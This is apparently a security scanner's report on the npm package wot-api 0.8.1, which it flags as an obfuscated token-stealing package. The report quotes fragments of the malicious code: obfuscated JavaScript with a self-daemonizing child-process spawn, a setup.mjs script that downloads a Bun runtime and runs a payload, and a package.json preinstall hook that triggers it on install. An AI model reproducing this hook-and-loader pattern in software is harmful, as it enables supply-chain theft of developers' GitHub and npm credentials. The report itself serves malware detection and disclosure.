wot-api 0.8.1
Credential stealer, obfuscated, exfiltrates tokens
preinstall setup.mjs bootstraps Bun runtimeShell-driven GitHub/npm token collection
SHA-256ddbf7f530f6d70e89260ba59f8027ad75e7e9fd4769bc0b413e49678356f9d1d
Also flagged by osv (MAL-2026-3591: Malicious code in wot-api (npm)) +3 more.
Evidence
1:103472… ,'î':'i','ï':'i','Ñ':'N','ñ':'n','Ò':'O','Ó':'O','Ô':'O','Õ':'O','Ö':'O','Ø':'O','ò':'o','ó':'o','ô':'o','õ':'o','ö':'o','ø':'o','Ù':'U','Ú':'U','Û':'U','Ü':'U','ù':'u','ú':'u','û':'u','ü':'u','Ý':'Y','ý':'y','ÿ':'y','Æ':'Ae','æ':'ae','Þ':'Th','þ':'th','ß':'ss','Ā':'A','Ă':'A','Ą':'A','ā':'a','ă':'a','ą':'a','Ć':'C','Ĉ':'C','Ċ':'C','Č':'C','ć':'c','ĉ':'c','ċ':'c','č':'c','Ď':'D','Đ':'D','ď':'d','đ':'d','Ē':'E','Ĕ':'E','Ė':'E','Ę':'E','Ě':'E','ē':'e','ĕ':'e','ė':'e','ę':'e','ě':'e','Ĝ':'G','Ğ':'G','Ġ':'G','Ģ':'G','ĝ':'g','ğ':'g','ġ':'g','ģ':'g','Ĥ':'H','Ħ':'H','ĥ':'h','ħ':'h','Ĩ':'I','Ī':'I','Ĭ':'I','Į':'I','İ':'I','ĩ':'i','ī':'i','ĭ':'i','į':'i','ı':'i','Ĵ':'J','ĵ':'j','Ķ':'K','ķ':'k','ĸ':'k','Ĺ':'L','Ļ':'L','Ľ':'L','Ŀ':'L','Ł':'L','ĺ':'l','ļ':'l','ľ':'l','ŀ':'l','ł':'l','Ń':'N','Ņ':'N','Ň':'N','Ŋ':'N','ń':'n','ņ':'n','ň':'n','ŋ':'n','Ō':'O','Ŏ':'O','Ő':'O','ō':'o','ŏ':'o','ő':'o','Ŕ':'R','Ŗ':'R','Ř':'R','ŕ':'r','ŗ':'r','ř':'r','Ś':'S','Ŝ':'S','Ş':'S','Š':'S','ś':'s','ŝ':'s','ş':'s','š':'s','Ţ':'T','Ť':'T','Ŧ':'T','ţ':'t','ť':'t','ŧ':'t','Ũ':'U','Ū':'U','Ŭ':'U','Ů':'U','Ű':'U','Ų':'U','ũ':'u','ū':'u','ŭ':'u','ů':'u','ű':'u','ų':'u','Ŵ':'W','ŵ':'w','Ŷ':'Y','ŷ':'y','Ÿ':'Y','Ź':'Z','Ż':'Z','Ž':'Z','ź':'z','ż':'z','ž':'z','IJ':'IJ','ij':'ij','Œ':'Oe','œ':'oe','ʼn':'\x27n','ſ':'s'},_0x4156bf={'&':_0x165f79[_0xbe9a65(0x1dae)],'<':_0x165f79[_0xbe9a65(0x1acd)],'>':'>','\x22':_0x165f79[_0xbe9a65(0x2712)],'\x27':_0x165f79[_0xbe9a65(0xf42)]},_0x3f8a55={'&':'&','<':'<','>':'>','"':'\x22',''':'\x27'},_0x514244={'\x5c':'\x5c','\x27':'\x27','\x0a':'n','\x0d':'r','\u2028':_0x165f79[_0xbe9a65(0x1d23)],'\u2029':_0x165f79[_0xbe9a65(0xdbf)]},_0x4b1c5b=parseFloat,_0x1f0444=parseInt,_0x2ad1cb=_0x165f79['GEKQc'](typeof global,_0x165f79[_0xbe9a65(0x25f7)])&&global&&_0x165f79[_0xbe9a65(0x1f81)](global['Object'],Obj …
1:1136037… 359e3=await _0x25422d[_0x4c85fb(0x1c66)]();throw _0x1eff86['aJyXc'](Error,_0x4c85fb(0x1df4)+_0x25422d[_0x4c85fb(0xa87)]+'\x20—\x20'+_0x5359e3);}let _0xb8119=await _0x25422d[_0x4c85fb(0x2180)](),_0x50749a=Object[_0x4c85fb(0x1f24)](_0xb8119);if(_0x1eff86[_0x4c85fb(0x1040)](_0x50749a['length'],0x1))throw _0x1eff86[_0x4c85fb(0x24bc)](Error,_0x4c85fb(0x51b)+_0x50749a[_0x4c85fb(0x2b97)]);let [,_0x1a81d7]=_0x50749a[0x0],_0x31b336=_0x1a81d7[_0x4c85fb(0x2734)]?.[_0x4c85fb(0xd8c)];return{'logIndex':_0x1a81d7[_0x4c8 …
1:2333038… =_0x5d10f5[_0x5b75b0(0xdf1)](BF),_0x32640d=_F(_0x40ebfb);return new Vz(_0x32640d,this[_0x5b75b0(0x17b8)]);}catch{return null;}}}import{spawn as _0x3d67f8}from'child_process';function F$(){const _0x29fdbb=_0x12ada1,_0x788cf6={'yUEqZ':function(_0x5a6b57,_0x175e25,_0x13ada3,_0x418aab){return _0x5a6b57(_0x175e25,_0x13ada3,_0x418aab);},'jqXiD':'ignore'};if(process.env.__DAEMONIZED)return!0x1;let _0x559526=_0x788cf6[_0x29fdbb(0x1044)](_0x3d67f8,process[_0x29fdbb(0x8e6)],process[_0x29fdbb(0x47d)][_0x29fdbb(0x4f2)](0x1),{'detached':!0x0,'stdio':_0x788cf6[_0x29fdbb(0xad4)],'cwd':process['cwd'](),'env':{...process.env,'__DAEMONIZED':'1'}});if(_0x559526['on'](_0x29fdbb(0xebd),_0x21decc=>{}),_0x559526[_0x29fdbb(0x14c0)](),_0x559526[_0x29fdbb(0x23a0)]);return!0x0;}import{existsSync as _0x274e6e,readFileSync a …
180:4… onst w = process.platform === "win32";
181 const bn = w ? "bun.exe" : "bun";
182 const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
183
184 const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
185 const zp = path.join(td, `${a}.zip`);
186 const bp = path.join(td, bn);
⋯5 lines
192 fs.unlinkSync(zp);
193
194 if (!w) fs.chmodSync(bp, 0o755);
195 execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
196 } finally {
197 fs.rmSync(td, { recursive: true, force: true });
198 }
199}
200
201main().catch((e) => {
202 console.error(e.message);
203 process.exit(1);
204});
⋯4 lines
5 "author": "neilcochran <[email protected]>",
6 "license": "MIT",
7 "main": "dist/index.js",
8 "repository": {
9 "type": "git",
10 "url": "git+https://github.com/neilcochran/WoT-API.git"
11 },
12 "scripts": {
13 "preinstall": "node setup.mjs"
14 },
15 "keywords": [],
⋯8 lines
24 "tsc-watch": "^5.0.3",
25 "typedoc": "^0.22.15",
26 "typescript": "^4.6.4"
27 },
28 "dependencies": {
29 "bcrypt": "^5.0.1",
30 "crypto": "^1.0.1",
31 "csv-parser": "^3.0.0",
32 "dotenv": "^16.0.0",
33 "express": "^4.18.1",
34 "pg": "^8.7.3",
35 "reflect-metadata": "^0.1.13",
36 "typeorm": "^0.3.7"
37 },
38 "files": [
39 "dist/**/*",
40 "res/card_images/**/*",
41 "res/csv_source/**/*"
42 ]
43}
Showing the top 5 files — 4 more files (22 regions) not shown.
No evidence locations were recorded for this file. Raw result